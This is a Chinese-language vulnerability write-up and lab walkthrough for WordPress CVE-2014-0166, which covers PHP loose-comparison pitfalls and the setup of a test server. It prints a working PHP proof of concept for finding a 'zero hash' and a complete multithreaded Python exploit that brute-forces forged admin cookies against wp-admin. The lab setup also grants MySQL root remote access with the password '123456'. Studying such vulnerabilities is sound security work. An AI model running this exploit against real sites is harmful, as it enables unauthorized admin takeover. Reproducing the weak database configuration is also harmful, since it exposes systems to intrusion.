引言
课题背景
近年来,利用 Web 应用存在的安全隐患(即所谓的“漏洞”)展开攻击的案例层出不穷,受害者也与日俱增。虽说只要消除安全隐患就能够杜绝这些攻击,但这就需要 Web 应用开发人员掌握正确的安全性方面的知识。
本课题的研究
本文分析的是 WordPress 3.8.2 更新的Cookie伪造漏洞(CVE-2014-0166),并给出对应的POC和EXP。
根据描述 WordPress before 3.7.2 and 3.8.x before 3.8.2 都是受影响的。
漏洞知识分析的准备
PHP弱类型安全问题
弱类型转化问题
弱类型的语言对变量的数据类型没有限制,你可以在任何地时候将变量赋值给任意的其他类型的变量,同时变量也可以转换成任意地其他类型的数据。
类型转换是无法避免的问题。例如需要将GET或者是POST的参数转换为int类型,或者是两个变量不匹配的时候,PHP会自动地进行变量转换。但是PHP是一个弱类型的语言,导致在进行类型转换的时候会存在很多意想不到的问题。
比较操作符类型转换
在 b 的比较中
$a=null;$b=flase ; //true $a='';$b=null; //true
这样的例子还有很多,这种比较都是相等。
使用比较操作符的时候也存在类型转换的问题,如下:
0=='0' //true 0 == 'abcdefg' //true 0 === 'abcdefg' //false 1 == '1abcdef' //true
当不同类型的变量进行比较的时候就会存在变量转换的问题,在转换之后就有可能会存在问题。
Hash比较
除了以上的这种方式之外在进行hash比较的时候也会存在问题。如下:
"0e132456789"=="0e7124511451155" //true3 "0e123456abc"=="0e1dddada" //false "0e1abc"=="0" //true
在进行比较运算时,如果遇到了 0e\d+ 这种字符串,就会将这种字符串解析为科学计数法。所以上面例子中2个数的值都是0因而就相等了。如果不满足0e\d+这种模式就不会相等。
Firefox下查看Cookie
打开Firefox 附加组件,搜索Firebug并安装
tutututut
按F12,可以在浏览器的底部找到如下视图,从视图中可以找到Cookie,可以在其中新建、删除、编辑相应的Cookie。
实验环境搭建
虚拟机安装
启动VirtualBox,新建一个虚拟机。
选择vmdk格式
然后一路下一步。
新建好后,载入CentOS ISO文件,启动虚拟机,进入安装界面。把CentOS安装好。
安装好后,进行更新以及安装一些需要软件。
更新:yum update –y
nginx 软件源码安装
从 http://nginx.org/en/download.html 下载 nginx-1.10.1.tar.gz
wget http://nginx.org/download/nginx-1.10.1.tar.gz
使用 tar –zxvf nginx-1.10.1.tar.gz 解压缩
之后进入nginx-1.10.1目录
./configure (使用默认的配置,程序汇报安装到/usr/local)
Make && make install
支持php
启动nginx
mysql 源码安装
从 http://dev.mysql.com/downloads/mysql/ 下载社区版源码 mysql-5.7.13-1.el7.src.rpm
执行:
groupadd mysql useradd -r -g mysql mysql
解压:
rpm2cpio mysql-community-5.7.13-1.el7.src.rpm |cpio –div
解压文件 tar –zxvf mysql-5.6.25.tar.gz
编译安装
cd mysql-5.6.25
默认情况下是安装在 /usr/local/mysql
cmake . cmake . -DCMAKE_INSTALL_PREFIX=/usr/local/mysql -DMYSQL_DATADIR=/usr/local/mysql/data -DSYSCONFDIR=/etc -DWITH_MYISAM_STORAGE_ENGINE=1 -DWITH_INNOBASE_STORAGE_ENGINE=1 -DWITH_MEMORY_STORAGE_ENGINE=1 -DWITH_READLINE=1 -DMYSQL_UNIX_ADDR=/var/lib/mysql/mysql.sock -DMYSQL_TCP_PORT=3306 -DENABLED_LOCAL_INFILE=1 -DWITH_PARTITION_STORAGE_ENGINE=1 -DEXTRA_CHARSETS=all -DDEFAULT_CHARSET=utf8 -DDEFAULT_COLLATION=utf8_general_ci
编译的参数可以参考 http://dev.mysql.com/doc/refman/5.6/en/source-configuration-options.html
make && make install
设置文件夹及其子文件的所有人
chown -R mysql.mysql /usr/local/mysql
初始化数据库
cd /usr/local/mysql/scripts ./mysql_install_db --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data
注册为服务
cd /usr/local/mysql/support-files
注册服务
cp mysql.server /etc/rc.d/init.d/mysql
使用默认配置文件
cp my-default.cnf /etc/my.cnf
让chkconfig管理mysql服务
chkconfig --add mysql
开机启动
chkconfig mysql on
启动MySQL服务
service mysql start
改变编码,防止乱码
SHOW VARIABLES LIKE 'character%'
修改mysql的my.cnf文件
[client] default-character-set=utf8 [mysqld] character-set-server=utf8 [mysql] default-character-set=utf8
将mysql的bin加入到path中
cd ~
我把path添加到当前用户目录的bashrc中,如果需要全局设定,请修改 /etc/profile
vi .bashrc
加入以下内容
PATH=/usr/local/mysql/bin:$PATH export PATH
配置用户密码和远程访问权限
mysql -uroot
SET PASSWORD = PASSWORD('123456');
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
安装php
yum install php php-fpm #根据提示输入Y直到安装完成 yum install php-mysql php-gd libjpeg* php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-mcrypt php-bcmath php-mhash libmcrypt #这里选择以上安装包进行安装,根据提示输入Y回车 chkconfig php-fpm on #设置php-fpm开机启动
安装WordPress 3.8.1
启动nginx,mysql,
最终
漏洞原理
漏洞代码
wp/wp-includes/pluggable.php
在wordpress-3.8.1 中是这样的
在wordpress-3.8.2 修复后是
我们把全部的关注点放到 != 与 !== 上来:
== 和 != 即non-strict比较符,会在类型转换后进行比较。
再看php manual中给出的例子:
<?php
var_dump(0 == "a"); // 0 == 0 -> true
var_dump("1" == "01"); // 1 == 1 -> true
var_dump("10" == "1e1"); // 10 == 10 -> true
var_dump(100 == "1e2"); // 100 == 100 -> true
?>
字符串在与数字比较前会自动转换为数字,所以 0=="a" 了。
回到wordpress的验证代码上来。先生成根据用户名 ($username) 、密码 ($pass_frag) 、cookie有效期 ($expiration) 、wp-config.php中的key ($key) 四个信息计算出对应的 $hash (算法很简单,不细说), 然后用cookie中取得的 $hmac 值与之进行比较 ($hmac != $hash ?) ,从而验证cookie有效性。
wordpress_hashofurl=username|expiration|hmac
我们能控制的变量有 $username 和 $expiration ,其中 $username 需要固定。于是我们可以通过控制cookie中的 $expiration 去改变 $hash 的值,然后将cookie中的 $hmac 设置为0
只要不断改变 $expiration ,直到满足 $hash=="0" 的$hash出现,就成功伪造了有效的cookie。
下面把pluggable.php的源码改一下,如下
当用户成功登陆后,会显示如下
POC代码及分析
根据上面所说的思路,修改一下网上找的POC如下
<?php
$site_url = 'http://192.168.58.101/wp'; // 生成的 cookie key: 'wordpress_'+hash($site_url)
$user = 'admin'; //用户名
$pass_frag = 'RmMi'; // password hash. $pass_frag = substr($user->user_pass, 8, 4)
$scheme = '';
$unit = 1000000000;
$init = empty($argv[1])?0:$argv[1]*$unit; //Start point. e.g. 2 for 200000000
$exptime = 1400000000+$init;
$cnt = 0+$init;
$max = $init + $unit;
function gen_cookie($site_url,$user,$exptime,$pass_frag,$scheme) {
$lk = 'Huc#,)Br)XE~%z[(genk;#tdnn 74<3H9vUWO T[W0fQ,QJuJ=h_I[>x.4<_kJWL'; //$auth_key configured in wp-config.php
$ls='93owjz|2yvI 9ifYG4w(6W^Z^AO7zayL1Q>ko)N![Yxm_dS$Hkh;lT8dv&1q0hnY'; //$auth_salt configured in wp-config.php
$key = hash_hmac('md5',$user.$pass_frag.'|'.$exptime,$lk.$ls);
$hash = hash_hmac('md5',$user.'|'.$exptime,$key);
return $hash;
}
while ($cnt<$max) {
$cnt++;
$exptime++;
if ($cnt % 10000 == 0) {
echo "\rTrying: ".$exptime; //real-time status output
}
$hs = gen_cookie($site_url,$user,$exptime,$pass_frag,$scheme);
//when "zero hash" found, output and exit
if ($hs == "0") {
echo "\n\nAfter ".$cnt." tries, we found: \n";
echo "Expiration: ".$exptime."\n";
echo "Hash: ".$hs."\n";
echo "Cookie Key: ".'wordpress_'.$scheme.md5($site_url)."\n";
echo "Cookie Value: ".$user.'|'.$exptime.'|'.$hs."\n";
break;
}
}
?>
运行一下,经过一段时间后可以得到
登陆网站并添加Cookie,
可以用伪造的Cookie成功登陆
渗透测试
扫描目标主机
查看80端口的网站发现是WordPress 3.8.1
从github上找到了一个exp,并把地址和用户名修改一下,得到如下
#!/usr/bin/env python
"""
This script is the EXP of CVE-2014-0166.
By varying the expiration value of the cookie, an attacker can find a 'zero hash' to forge a valid cookie.
However, on average, we need 300 million requets to find a 'zero hash'.
Therefore I wrote this multithread script.
Details: http://www.ettack.org/wordpress-cookie-forgery/
Author: Ettack
Email: <a href="/cdn-cgi/l/email-protection" data-cfemail="4025343421232b00272d21292c6e232f2d">[email protected]</a>
"""
import requests
import hmac
import threading
from hashlib import md5
from sys import stdout
from time import sleep,ctime,gmtime,time
from os import _exit
initnum = 0 #Set the initial value here while performing distributed computing.
threadNum = 500
errTolerance = 0 #If ErrorRequests/AllRequests > errTolerance, then decrease threads number
lock = threading.Lock()
url = 'http://192.168.58.101/wp'
user = 'admin'
expiration = 1400000000+initnum
cnt = 0+initnum
cookie_k = 'wordpress_' + md5(url).hexdigest()
def testCookie(url,user,expr):
global errcnt
cookie_v = user + '|' + str(expr) + '|0'
cookie = {cookie_k:cookie_v}
try:
r = requests.head(url + '/wp-admin/',cookies=cookie)
except requests.exceptions.ConnectionError:
errcnt += 1
# print "Connection ERROR occured in %s"%(threading.current_thread())
sleep(8)
return "Err"
statcode = r.status_code
if statcode == 200:
return cookie
if statcode != 302:
errcnt += 1
sleep(5)
return "Err"
return False
def action():
lock.acquire()
global expiration,cnt
expiration += 1
cnt += 1
stdout.flush()
stdout.write("\r%s"%(cnt))
lock.release()
try:
#Copy expiration value to expr.As expiration would be increased by other threads.
expr = expiration
#Loop until no error
while True:
result = testCookie(url,user,expr)
if result != "Err": break
except KeyboardInterrupt:
print "Interrupted at %s"%(expiration)
_exit(0)
except Exception,e:
print e
#Cookie found! Output to screen and file (wp_result). Output consumed time as well.
if result != False:
print "\n\nCongratulations!!! Found valid cookie:"
print str(result)
dtime = time()-stime
timestr = gmtime(dtime)
print "\nRunning time: %sd %sh %sm %ss"%(timestr.tm_mday-1,timestr.tm_hour,timestr.tm_min,timestr.tm_sec)
with open("wp_result","w") as fp:
fp.write(str(result))
fp.close()
_exit(0)
stime = time()
print "Start at %s"%(ctime())
print "Guessing with %d threads...\n"%(threadNum)
#Main part of guessing program
while True:
threads = []
errcnt = 0
for i in xrange(threadNum):
t = threading.Thread(target = action)
threads.append(t)
t.start()
for t in threads:
t.join()
#Adjust threads number
errRate = float(errcnt)/threadNum
if errRate > errTolerance:
newThreadNum = int(threadNum * (1-0.5*errRate))
print "\nToo many retries (%d/%d). Automatically decrease to %d threads!"%(errcnt,threadNum+errcnt,newThreadNum)
threadNum = newThreadNum
#Log process to wp_log
with open("wp_log","w") as fp:
fp.write(str(cnt))
fp.close()
运行该脚本可以得到
成功登陆
结语
通过在红日安全漏洞组的学习和锻炼了漏洞的分析能力,寻找问题和解决问题的能力,让我明白了实践是检验真理的唯一标准
参考文献
- http://www.freebuf.com/vuls/31770.html
- https://www.91ri.org/8871.html
- http://cve.scap.org.cn/CVE-2014-0166.html
- http://www.68idc.cn/help/safe/anquanshezhi/20150611363726.html
注:本文内容来自互联网,旨在为开发者提供分享、交流的平台。如有涉及文章版权等事宜,请你联系站长进行处理。